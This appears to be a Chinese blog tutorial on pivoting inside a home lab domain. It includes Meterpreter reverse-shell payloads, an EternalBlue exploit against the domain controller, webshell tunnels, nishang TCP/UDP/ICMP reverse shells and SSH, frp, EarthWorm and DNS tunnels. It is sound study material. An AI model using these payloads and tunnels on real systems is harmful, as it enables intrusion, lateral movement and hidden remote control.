域渗透（二）-内网隧道与端口转发技术

最新推荐文章于 2024-10-16 00:36:54 发布
最新推荐文章于 2024-10-16 00:36:54 发布
阅读量7.1k 收藏 8
点赞数 1
分类专栏： 甲方安全建设 文章标签： windows域渗透 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zy15667076526/article/details/130431298
版权

网络架构

在这里插入图片描述

为什么这么做？

其实看整篇文章各个章节的标题就能知道，不管是内网的端口转发，还是内网的隧道建立，都是我们在拿下一台外围服务器以后才做的事情，拿下这台服务器以后，第一我们要保证这台服务器的权限，第二，再往内部一些外部访问不到的网段进行延伸，所以很多场景都是A能访问B，C也能访问B，但是A和C之前网络物理或者逻辑隔离了，目标是让A和C之间通信，至于隧道或者端口转发这么高大上的词汇，其实就是在解决这些问题，至于用什么方式，ICMP也好TCP/UDP也罢，亦或是更牛逼的DNS，只是换汤不换药，核心都是通信，用哪一层协议只是具体的实现方式不一样而已

对于我们的环境而言，kali是桥接，首先只能访问桥接的win2016和centos7-2，所以我们跟kali通信的大多是使用win2016的，这里毕竟是模拟环境，我们就会假设win2016这台windows已经被拿下了，所以很多木马都是直接放到win2016上的，这些操作跟域相关的知识关系还不是很大，基本都是拿下第一台服务器后的一些操作，所以用到kali和win2016比较多，我们的环境是建立在vmware的三种网络模式上，去模拟各种环境

端口转发

windows端口转发

kali上，通过msf生成木马

msfvenom -e x64/xor_dynamic -p windows/meterpreter/reverse_tcp lhost=192.168.2.67 lport=5555 -f exe > winshell1.exe

msf监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.67
set lport 5555
run

木马拷贝到windows上双击执行后，msf收到meterpreter

shell
chcp 65001

在这里插入图片描述

开启端口转发，意思是访问win2016的8888转发到192.168.10.2的80，所以192.168.10.2要开启IIS

netsh interface portproxy add v4tov4 listenport=8888 connectaddress=192.168.10.2 connectport=80

查看windows端口转发

netsh interface portproxy show all

在这里插入图片描述

访问win2016的8888

在这里插入图片描述

清除单条端口转发

netsh interface portproxy delete v4tov4 listenport=8888

或者（重置后，所有端口转发都会删除）

netsh interface portproxy reset

清除以后kali无法访问

在这里插入图片描述

通过windows转发3389

netsh interface portproxy add v4tov4 listenport=3399 connectaddress=192.168.10.2 connectport=3389

访问win2016的3399

rdesktop 192.168.2.66:3399

在这里插入图片描述

清除单条端口转发

netsh interface portproxy delete v4tov4 listenport=3399 connectaddress=192.168.10.2 connectport=3389

或者（重置后，所有端口转发都会删除）

netsh interface portproxy reset

meterpreter直接转发

把kali的8889代理到192.168.10.2的80

进入meterpreter命令行

portfwd add -l 8889 -r 192.168.10.2 -p 80

转发3389

portfwd add -l 3389 -r 192.168.10.2 -p 3389

meterpreter查看端口转发

portfwd list

所以我们访问的也应该是kali的8889

在这里插入图片描述

转发3389

portfwd add -l 3389 -r 192.168.10.2 -p 3389

切换到kali命令行，连接3389

rdesktop 127.0.0.1:3389

在这里插入图片描述

删除meterpreter转发

portfwd delete -l 8889 -r 192.168.10.2 -p 80

portfwd delete -l 3389 -r 192.168.10.2 -p 3389

内网路由-msf内部（meterpreter路由）

在msf中通过木马建立路由，达到可以在msf中访问内网

接着刚刚的meterpreter的session

shell
chcp 65001
arp -a

进入meterpreter命令行

查看路由，发现本来没有路由

run autoroute -p

加入内网路由

run autoroute -s 192.168.10.0/24

在这里插入图片描述

或者自动添加

run post/multi/manage/autoroute

退出meterpreter

background

在msf命令行查看路由

route print

在这里插入图片描述

win2012

在这里插入图片描述

扫描内网域控win2012的端口

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.10.2
set threads 10
set ports 21,22,25,79,80,105,106,110,143,443,3306,5000
run

也扫一扫别的，反正路由一挂，在msf里都是一家人了

use auxiliary/scanner/http/http_version
set rhosts 192.168.10.2
run

use auxiliary/scanner/mysql/mysql_version
set rhosts 192.168.10.2
run

use auxiliary/scanner/rdp/rdp_scanner
set rhosts 192.168.10.2
run

use auxiliary/scanner/ftp/ftp_version
set rhosts 192.168.10.2
run

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.10.2
run

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.10.2
run

域控还扫出了永恒之蓝

在这里插入图片描述

扫描内网IP

use auxiliary/scanner/discovery/udp_sweep
set rhosts 192.168.10.1-10
run

在这里插入图片描述

对域控win2012使用永恒之蓝，这个会失败，攻击都很成功，也没有报错，怎么就没有session创建呢？

原因是，在meterpreter里面加了路由，meterpreter可以访问内网的域控，但是用的是reverse_tcp的反弹shell，域控可没有能访问kali的能力啊

use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.10.2
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.2.67
exploit

在这里插入图片描述

我们不用反弹shell的，用主动连接的payload，这一步未必百分百成功，由于网络的原因需要多试几次（这里建议在meterpreter命令行自动加入路由，或者手动把内网和外网的路由都加上）

use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.10.2
set payload windows/meterpreter/bind_tcp
set LHOST 192.168.2.67
exploit

在这里插入图片描述

配置代理-msf外部（socks）

通过win2016的木马代理访问内网

msf代理是需要建立在meterpreter的路由上的（最好是在上一步的win2016的meterpreter里自动加入路由）

退出meterpreter

background

使用msf代理（socks=socket secure，在会话层）

这种方式是通过自己的代理，只要我自己代理打开了，挂上本机的代理，就能直接连接路由中的所有网络，通过真实IP访问

search proxy
use auxiliary/server/socks_proxy
run

在这里插入图片描述

配置linux命令行代理（类似windows里面的手动设置代理），效果是命令可以访问

vim /etc/proxychains4.conf

最后一行加入

socks5 127.0.0.1 1080

命令前面加上proxychains即可通过代理访问，对比两者

curl http://192.168.10.2/
proxychains curl http://192.168.10.2/

在这里插入图片描述

既然有80的web，就扫一下目录吧，虽然啥也扫不出来

proxychains dirb http://192.168.10.2/

直接访问域控的远程桌面

proxychains rdesktop 192.168.10.2:3389

在这里插入图片描述

浏览器加入代理（127.0.0.1:1080），效果是浏览器可以访问，加入后即可访问

http://192.168.10.2/

在这里插入图片描述

在这里插入图片描述

win7开启xampp后也可以直接访问

http://192.168.10.4/

在这里插入图片描述

msf命令行删除msf代理

jobs -K

删除kali浏览器代理

注释掉proxychains的代理，否则可能会影响后面

vim /etc/proxychains4.conf

隧道通信

Neo-reGeorg（HTTP）

Neo-reGeorg基于http的正向隧道

通过web跳板机的http进行通信，所以效果和msf外部（socks）代理是一样的

断开刚刚的session

Neo-reGeorg复制到kali上，生成木马

python3 neoreg.py generate -k 123456

在这里插入图片描述

生成完后，会多出来一个neoreg_servers目录，存放着各种语言的马

在这里插入图片描述

win2016里面使用xampp开启web，并把php马tunnel.php放到htdocs里，访问这个马，没有报错，就说明没问题

在这里插入图片描述

访问这个马，没有报错，就说明没问题

在这里插入图片描述

回到neo的目录，kali连接，看输出还是有SOCK5的字眼，而且还是127.0.0.1:1080，简直跟刚刚配置代理那一块神似，原理都差不多嘛

python3 neoreg.py -k 123456 -u http://192.168.2.66/tunnel.php

在这里插入图片描述

浏览器开启代理

在这里插入图片描述

就可以访问到内网了

在这里插入图片描述

命令行也一样使用修改proxychains文件，用proxychains+命令的方式访问

实验结束，关闭proxychains和浏览器代理

msf的php大马

msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.2.67 lport=4444 -f raw > msf_php_shell.php

msf监听

msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.2.67
set lport 4444
run

php大马放到xampp里，随便访问一下这个马，就会产生meterpreter

在这里插入图片描述

后面的就和内网路由和配置代理一样咯，大体上和Neo-reGeorg一毛一样

ssh隧道

服务器有ssh，自然就能使用了

先在win2016上安装windws的ssh服务，下载地址

https://github.com/PowerShell/Win32-OpenSSH/releases

安装教程

https://www.cnblogs.com/wrxiang/p/15145288.html

安装完成后，win2016开启了22端口

在这里插入图片描述

本机连一下win2016试试

ssh administrator@192.168.2.66

在这里插入图片描述

kali上进行ssh隧道

kali上执行

8879是kali上开的端口，192.168.10.2:80为域控的web，administrator@192.168.2.66是win2016的登录方式，效果就是访问kali的8879代理到192.168.10.2的80，使用的是win2016的ssh隧道

ssh -CfNg -L 8879:192.168.10.2:80 administrator@192.168.2.66

浏览器再访问kali的8879，成功转发到了域控win2012的80

在这里插入图片描述

win2016上进行ssh隧道

win2016上执行，或者是其他的跳板机也行

3333是kali开启的端口，代理到192.168.10.2的80，root@192.168.2.67是kali的登录方式

ssh -CfNg -R 3333:192.168.10.2:80 root@192.168.2.67

在这里插入图片描述

访问kali的3333

在这里插入图片描述

EarthWorm

本工具已不再维护

https://gitee.com/aveng/EarthWorm/tree/master/download
https://github.com/mrawb/ew

正向代理

win2016上运行

ew_for_win_32.exe -s ssocksd -l 1080

在这里插入图片描述

kali浏览器设置代理到win2016的1080

在这里插入图片描述

直接访问域控

在这里插入图片描述

反向代理

区别正向和反向

正向是kali直接通过在win2016上面的ew代理访问到了本身访问不到的域控win2012

反向，假设当kali访问不到win2016的时候，但是kali可以访问一台公网的服务器，win2016也不能访问kali，同样，win2016也可以访问这台公网服务器，那么在公网服务器开一个服务，让win2016主动去连，然后kali访问公网服务器，从而可以正常访问win2016，但是我们的kali和win2016都是桥接，本身就能访问

在这里插入图片描述

所以这里我们要做一个变通，既然没有公网服务器，我们模拟一个公网出来，kali是不是访问不到Win7，kali是不是能访问到win2016，那么就假设win2016是一台公网服务器

在这里插入图片描述

假设存在一台公网服务器(win2016)启动一个服务端，1080代理端口，8888通信端口

ew_for_win_32.exe -s rcsocks -l 1080 -e 8888

在这里插入图片描述

win7连接通信端口，win7通过8888和公网（win2016）建立通信

ew_for_win_32.exe -s rssocks -d 192.168.10.5 -e 8888

在这里插入图片描述

kali浏览器代理设置到公网服务器（win2016）IP的1080，访问域控win2012的web，访问win7的web

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

注：使用反向代理，攻击者IP，即kali的IP不会暴露，只能再win7上溯源到公网服务器（win2016）的IP

frp

原理和ew基本一样，但是我这里换个场景玩一玩

下载地址

https://github.com/fatedier/frp/releases

之前也说到了，vmware的虚拟机nat模式可以访问仅主机，但是仅主机无法访问nat，这个过程就像内网可以主动访问公网，公网无法主动访问内网一样

centos7-1可以访问centos7-2，但是centos7-2是无法访问centos7-1的，类比过来是不是centos7-1就像是内网，centos7-2就像是公网，公网上的服务器是无法直接找到内网的

那我们这里是不是可以假设，centos7-2和dc-win2012都是“公网”上的服务器，这俩服务器是找不到centos7-1，因为这是个“内网”服务器；而centos7-1是台“内网”服务器，是可以直接访问“外网”的，所以我们的目标是要让“公网”服务器centos7-2直接访问到“内网”服务器centos7-1，当然要借助“公网”服务器dc-win2012

在这里插入图片描述

ssh

域控win2012不用改配置开启服务端

服务端frps.ini配置

[common]
bind_port = 7000

frps.exe -c frps.ini

在这里插入图片描述

centos7-1开启客户端，连接域控win2012

frpc.ini配置为

[common]
server_addr = 192.168.10.2
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 3333

./frpc -c ./frpc.ini

在这里插入图片描述

然后启动centos7-2，去访问域控的3333就能转发到centos7-1的22了，这样，一个原本不应该在公网上的就可以访问了，注意输入的是centos7-1的root密码，因为最后连的是centos7-1

ssh root@192.168.10.2 -p 3333

在这里插入图片描述

关掉代理之后，“外网”就又找不到内网了

在这里插入图片描述

web

如果是web的话，域控win2012先加入一条域名解析把frp.student.com解析到自己的IP上，因为现在自己充当的是公网服务器，所以centos7-1和centos7-2这两台ping frp.student.com是能直接找到域控的IP，虽然要等十几秒，但是网络一定是通的

ping frp.student.com

在这里插入图片描述

在这里插入图片描述

域控win2012改配置开启服务端，frp.student.com是解析到域控IP上面

服务端frps.ini配置，vhost_http_port开启8000，访问域控的8000转发给客户端的web

[common]
bind_port = 7000
vhost_http_port = 8000

frps.exe -c frps.ini

在这里插入图片描述

centos7-1开启客户端，并且centos7-1要通过xampp开启web了（因为我们的目标是让centos7-2访问centos7-1的web）

frpc.ini配置为，目的是和域控建立7000的连接，使用7000连接域控

[common]
server_addr = 192.168.10.2
server_port = 7000

[web]
type = http
local_port = 80
custom_domains = frp.student.com

./frpc -c ./frpc.ini

在这里插入图片描述

centos2上访问域控的8000，就直接能访问centos1的80了，注意对比开启frp之前和之后的访问情况

curl http://frp.student.com:8000/dashboard/phpinfo.php

在这里插入图片描述

dashboard

frp是支持界面的，开启dashboard，在域控win2012的服务端修改配置

[common]
bind_port = 7000
vhost_http_port = 8000

dashboard_port = 8001
dashboard_user = admin
dashboard_pwd = admin

开启服务

frps.exe -c frps.ini

在这里插入图片描述

访问

http://192.168.10.2:8001

在这里插入图片描述

ICMP隧道

icmpsh

原理通过ICMP协议的Data字段进行数据传输，icmpsh适合windows环境

icmpsh下载

git clone https://github.com/inquisb/icmpsh.git

kali配置，icmpsh目前只支持python2，kali自带的python版本为python3，所以kali需要安装python2后才能运行icmpsh，安装python2后，安装icmpsh依赖包

pip2 install impacket

关闭本机的icmp应答，防止内核对自己的ping包响应，默认是0，试验完记得改回来

sysctl -w net.ipv4.icmp_echo_ignore_all=1

在这个文件里可以查看是0还是1

cat /proc/sys/net/ipv4/icmp_echo_ignore_all

执行监听，第一个IP是本机的IP，也就是kali的IP，第二个IP是远程受控端win2016的IP

python2 icmpsh_m.py 192.168.2.67 192.168.2.66

在这里插入图片描述

win2016执行，icmpsh的受控端只能是windows，执行，IP为kali的的使用IP，执行后，kali成功收到反弹shell

icmpsh.exe -t 192.168.2.67

在这里插入图片描述

win2016上没啥反应，但是kali上已经反弹了shell了

在这里插入图片描述

Powershell ICMP

该工具适用于所有有powershell的地方

下载地址

https://github.com/samratashok/nishang
反连shell

kali依旧开启icmpsh监听

python2 icmpsh_m.py 192.168.2.67 192.168.2.66

在这里插入图片描述

win2016进入powershell，运行（在Shells中导入模块）

cd C:\Users\Administrator\Desktop\nishang-master\nishang-master\Shells
Import-Module .\Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp 192.168.2.67

在这里插入图片描述

win2016上没啥反应，但是kali上已经反弹了shell了

在这里插入图片描述

正向

基于TCP正向连接，这个是在win2016的powershell开启6666

cd C:\Users\Administrator\Desktop\nishang-master\nishang-master\Shells
Import-Module .\Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Bind -Port 6666

在这里插入图片描述

kali连接6666

nc -nv 192.168.2.66 6666

在这里插入图片描述

基于TCP/UDP的反弹shell

kali先监听，第一个是tcp，第二个是udp，我这里就用udp的吧

nc -lvp 5555
nc -luvp 5555

在这里插入图片描述

win2016执行，反连kali的IP+5555，需要时间多等几秒

cd C:\Users\Administrator\Desktop\nishang-master\nishang-master\Shells
Import-Module .\Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.67 -Port 5555

基于udp的

cd C:\Users\Administrator\Desktop\nishang-master\nishang-master\Shells
Import-Module .\Invoke-PowerShellUdp.ps1
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.2.67 -Port 5555

在这里插入图片描述

win2016上没啥反应，但是kali上已经反弹了shell了

在这里插入图片描述

PingTunnel（centos）

ICMP隧道里面，一直是kali和一台win2016在通信，win2016是跳板机，如果当一台跳板机是centos的时候呢？虽然像是powershell的ICMP隧道，很多linux都已经支持了，像是kali就自带powershell，但是如果也不支持powershell的话，就要拿出PingTunnel了

下载地址

http://www.cs.uit.no/~daniels/PingTunnel/#download

我们再换一种场景，kali和centos7-2都有桥接的网卡，是可以访问的

域控win2012和centos7-2都有仅主机的网卡，是可以访问的

kali访问不了域控win2012，这时候，kali需要借助centos7-2访问域控win2012

在这里插入图片描述

centos7-2安装PingTunnel

yum -y install byacc
yum -y install flex bison
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -zxvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

直到编译不报错了，说明编译是没问题的，centos7-2执行，开启服务端

./ptunnel

在这里插入图片描述

kali开启icmp应答后，作为客户端连接centos7-2服务端的8899，kali是自带ptunnel的，建立隧道以后，可以访问192.168.10.2的80

ptunnel -p 192.168.2.78 -lp 8899 -da 192.168.10.2 -dp 80

在这里插入图片描述

kali添加代理到本机的8899，就可以直接访问域控win2012的80

在这里插入图片描述

在这里插入图片描述

ICMP的实验整体做完了，kali可以关闭本机的icmp应答，默认是0，试验完要改回来

sysctl -w net.ipv4.icmp_echo_ignore_all=0

DNS隧道

下载地址

https://github.com/yarrick/iodine

都知道ICMP是通过ICMP包里面的data字段，那么DNS又是怎么传输数据的呢，DNS是通过子域名解析的时候带外传输的

我们再次拿到这个例子来说一下，之前在做frp的时候，我们自己定义了“公网”服务器是centos7-2和域控win2012，内网服务器是centos7-1，原理就是NAT能访问仅主机，仅主机访问不了NAT

1.域控，或者说现在叫他DNS服务器，DNS服务器把www.student.com解析给了centos7-2的192.168.10.2，那么ping这个域名自然找到的就是centos7-2的IP

2.DNS服务器再创建一条NS记录（windows DNS 服务器叫委派记录），把ns.student.com记录委派给www.student.com域名解析，也就是centos7-2的192.168.10.2解析，那么所有ping ns.student.com的流量就都会经过centos7-2了，因为是交由给centos7-2解析

在这里插入图片描述

域控配置DNS域名解析，www解析到了centos7-2上

在这里插入图片描述

域控添加一条委派记录

在这里插入图片描述

委派的域名是ns

在这里插入图片描述

在这里插入图片描述

交由www进行解析

在这里插入图片描述

在这里插入图片描述

这时候，我们在centos7-2上面抓包，具体网卡名称根据实际改变，我这里调整网络太多次，网卡都到ens37了，就抓仅主机的网卡包就行

tcpdump -n -i ens37 udp dst port 53

在这里插入图片描述

在centos7-1上面，ping一下ns这种

ping please_help_me_to_send_this_message.ns.student.com

在centos7-2上是可以看到解析记录的，这也就是dnslog的原理，我们渗透的时候用的没有回显的任意代码执行，不就是用dnslog吗，虽然在centos7-1上解析失败，但是数据是不是已经在centos7-2上看到了

在这里插入图片描述

在两台centos上面安装iodine工具，我这边yum安装失败了，所以是通过源码编译安装的，但是要注意的是，源码安装会报很多错误，有错误的话网上查查很好解决，大多都是没有c或者git这种环境导致的，提前把两台centos的联网，更新yum源，先确定iodine安装编译成功后后再配置网络

通过子域名进行数据传输的话，也就是不能超过域名长度253，所以传输数据的时候会很卡，这也是DNS隧道相对隐蔽的理由，不过也只是相对，所以针对DNS隧道的最好检测就是检测域名长度

centos7-2上执行，启动服务端-P后面跟的是密码，我这里密码就是123，192.168.111.1是随便设置的一个临时的IP，这个IP的网段不要跟现有的任意网段冲突，ns.student.com就是ns（委派）记录

iodined -f -c -P 123 192.168.11.1 ns.student.com -DD

在这里插入图片描述

并且可以看到，启动服务后，新加了一块dns0的网卡，IP就是我们刚刚设置的192.168.11.1

在这里插入图片描述

centos7-1上执行，-P是刚刚设置的密码，IP就是centos7-2也就是服务端的IP

iodine -f -P 123 192.168.10.6 ns.student.com

在这里插入图片描述

centos7-1也多了一块网卡是192.168.11.3

在这里插入图片描述

那么此时，centos7-2就可以通过刚刚创建的dns0网卡访问centos7-1了

在这里插入图片描述

centos7-1开启web服务后

centos7-2访问

curl http://192.168.11.3/dashboard/phpinfo.php

在这里插入图片描述

维梓-
关注
专栏目录
内网渗透-Linux内网渗透
lza20001103的博客
08-16 1765
内网渗透-Linux内网渗透
渗透测试-内网信息收集
cdyunaq的博客
04-28 3361
1 收集本机信息 1.1 手动收集信息 查询网络配置信息 ipconfig /all 查询操作系统和版本信息 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 查询系统体系结构 echo %PROCESSOR_ARCHITECTURE% 查看安装的软件及版本、路径等 wmic product get name,version 利用PowerS
Neo-regeorg 实现正向代理
zneVue
06-30 565
Neo-regeorg 是一个基于 Python 编写的用于正向代理和内网穿透工具，采用 socks5 协议。支持的脚本类型：aspx、ashx、jsp、jspx、php。
内网渗透测试——内网转发
cldimd的博客
04-01 742
内网转发目的： 渗透测试中，我们往往会面对十分复杂的内网环境。比如最常用的防火墙，它会限制特定端口的数据包出入。 A可以访问B的80端口，但是不能访问B的3389端口。 A可以访问B，B可以访问C，但是A不可以访问C。需要通过B转发数据，让A和C进行通信。 代理： （一）正向代理 我们常说的代理就是指正向代理，正向代理的过程，它隐藏了真实的请求客户端，服务端不知道真实的客户...
内网穿透-neoregeorg搭建隧道
最新发布
yyytaotao的博客
10-16 922
可以看到一件写入的webshell的访问地址，那么我们上传的tunnel.jsp文件在同级目录下，所以把test11.jsp替换为tunnel.jsp进行访问，看看是否能够被解析。以上设置有一个问题，如果想要在kali中打的话，kali是访问不到主机的这个8888端口的，那么我们可以在neoreg.py修改一下设置，，，那么我们就要先把先前设置的8888端口的进程杀掉，，，注意，，不能直接关，需要根据进程号在任务管理器中结束进程！这时候运行run -v 还是不行的，因为我们配置完代理后还需要开启这个策略，
内网转发
秋水的博客
10-14 3102
内网转发简介 在渗透测试中，当我们获得了外网服务器（如web服务器，ftp服务器，mali服务器等等）的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段，一般情况下，内网中的其他机器是不允许外网机器访问的。这时候，我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理，使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转...
SSH 端口转发
邵群超的博客
10-10 237
SSH 端口转发功能能够将其他 TCP 端口的网络数据通过 SSH 链接来转发，并且自动提供了相应的加密及解密服务。其实这一技术就是我们常常听说的隧道(tunnel)技术，原因是 SSH 为其他 TCP 链接提供了一个安全的通道来进行传输。我们知道，FTP 协议是以明文来传递数据的。但是我们可以让 FTP 客户端和服务器通过 SSH 隧道传输数据，从而实现安全的 FTP 数据传输。更常见...
内网转发教程
Wrop的博客
07-10 649
本文介绍了内网转发的相关内容
SSH隧道代理转发
baidu_38844729的博客
11-25 428
参数 -C：允许压缩数据 -f ：后台运行，并推荐加上 -n 参数 -N：不执行远程命令 -g：允许远端主机连接本地转发的端口 -L：本地端口转发 -R：远程端口转发 -D：动态转发 -P：指定ssh端口 环境： 攻击机：10.10.10.55 web服务器：10.10.10.44(内网IP为192.168.52.44) 域控：192.168.52.99 本地转发 外部攻击机(kali)10.10.10.55可以访问web服务器10.10.10.44(内网IP为192.168.52.44)，但是访问不了域
内网渗透之端口转发-内网代理1
08-03
①正向代理 (Forward Proxy) ②反向代理（reverse proxy） ③区分 ①内网机器上执行：lcx.exe –slave 公网 IP + 端
Http加密隧道下的内网渗透：端口转发与权限突破
- 端口转发，将目标内网的445、135、139或5985端口映射到本地机器上，实现远程命令执行。 - 文件传输，实现本地和目标机器之间的文件共享。 - 远程管理系统计划任务，以便执行特定操作（可能因135端口问题而受限...
AHZY-内网安全攻防2020-01-12 内网安全攻防知识分享，
08-21
本篇知识分享主要讲解了如何利用SSH隧道进行内网的安全穿越，即内网安全攻防中的端口转发技术。 SSH（Secure Shell）是一种加密的网络协议，用于在不安全的网络上安全地执行远程命令和传输数据。SSH隧道是SSH的一种...
内网端口转发
路虽远，行将至。事虽难，做必达。
08-10 1128
在渗透过程中拿到主机权限后，下一步通常是进行内网横向，而企业内网在不出网的情况下，我们无法直接进行扫描、反弹shell等操作，这时候就需要搭建隧道来进行数据包转发，使我们能间接的与内网进行通信。...
WLAN配置实例（二）——三层组网隧道转发
永远是少年
09-19 6252
今天继续给大家介绍WLAN，本文主要使用华为eNSP模拟器，实现了Fit AP架构下WLAN三层组网CAPWAP隧道转发的配置实例。 推荐阅读： WLAN配置实例（一）——二层组网直接转发 上一篇文章中与本实验有较大的重叠，关于上一篇实验与本实验重叠的部分，在本文中就不过多介绍，因此，如果您对Fit AP配置还存在疑惑，欢迎查阅上一篇文章。 一、实验拓扑及要求 实验拓扑如上图所示，现在要求按照图中要求配置Fit AP架构中三层组网隧道转发，DHCP服务器为LSW1，AP与AC之间处于不同的VLAN之内不能
【内网—内网转发】——代理转发_SSH代理转发
weixin_45588247的博客
09-22 2340
文章目录一、环境准备：二、工具：三、概念：四、学习目的：五、SSH代理转发介绍：六、SSH代理转发使用说明：七、SSH代理转发：1. 正向动态转发隧道：1.1 场景：1.2 网络拓扑图：1.3 说明：1.4 实验过程： 一、环境准备：   准备一台CentOS主机，并为CentOS主机添加一张网卡，并为它配置为处于内网环境。以下是网上配置过程： 1、添加网卡： 2、查看新添加的网卡mac地址: 3、找到新添加的网卡mac地址对应的是哪张网卡： 4、配置网卡： 命令： cd /etc/sysco
ssh端口转发(隧道技术)
热门推荐
分享不一样的技术，与你一起共同成长!
11-13 11万+
1.本地端口转发 假设有以下场景，本地客户端A, 远端服务器有B和C, B和C处于同一个内网，且 B上配置了公网ip，C只有内网ip。 那么现在存在一个需求， 我想让A能够访问到C上面部署的一个nginx(监听80端口)的服务。那么怎么解决这个问题? （前提: A能够发起ssh连接到B服务器上）。 如图所示，可以使用ssh提供的本地端口转发技术来实现。 (红色箭头表示数据返回流...
内网转发简介
buffedon的博客
10-06 1052
内网转发内网转发分类分类方式一 (按原理分)分类方式二 (按攻击手法分)端口转发，隧道，代理，反弹shell反弹shell的目的端口转发动态转发本地转发远程转发端口转发与端口映射代理参考文章 在后渗透阶段，外网是无法访问内网的，因此可以通过 端口转发(隧道) 的方式，将web服务器作为代理，从而使得攻击者可以操控内网主机 内网转发分类 分类方式一 (按原理分) 代理方式 socket Netcat，netsh，LCX socks EW，Ssocks 隧道方式 SSH，HTTP，IMCP
内网渗透之——内网转发（反弹shell、端口、代理）
wsnbbz的博客
04-03 1万+
目的 渗透测试中，我们往往会面对十分复杂的内网环境，比如最常用的防火墙，它会限制特定端口的数据包出入。 需要转发的情况 1.A可以访问B的80端口，但是不能访问B的3389端口。 2.A可以访问B，B可以访问C，但是A不可以访问C，需要通过B转发数据，让A和C进行通信。 代理方式 正向代理 正向代理是客户端主动访问服务器的端口 我们常说的代理就是指正向代理，正向代理的过程，它...
内网隧道：端口转发
8888的博客
09-07 1126
端口转发和端口映射端口转发,有时被称为做隧道,是安全壳( SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将 一个端口收到的流量转发到另一个端口。端口映射是 NAT的一种,功能是把在公网的地址转成私有地址。简单来说,端口映射就是将一个端口映射 到另一个端口供其他人使用端口转发：只针对于机器的某个特定端口本次实验三种端口转发：LCXSSHNETSH。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值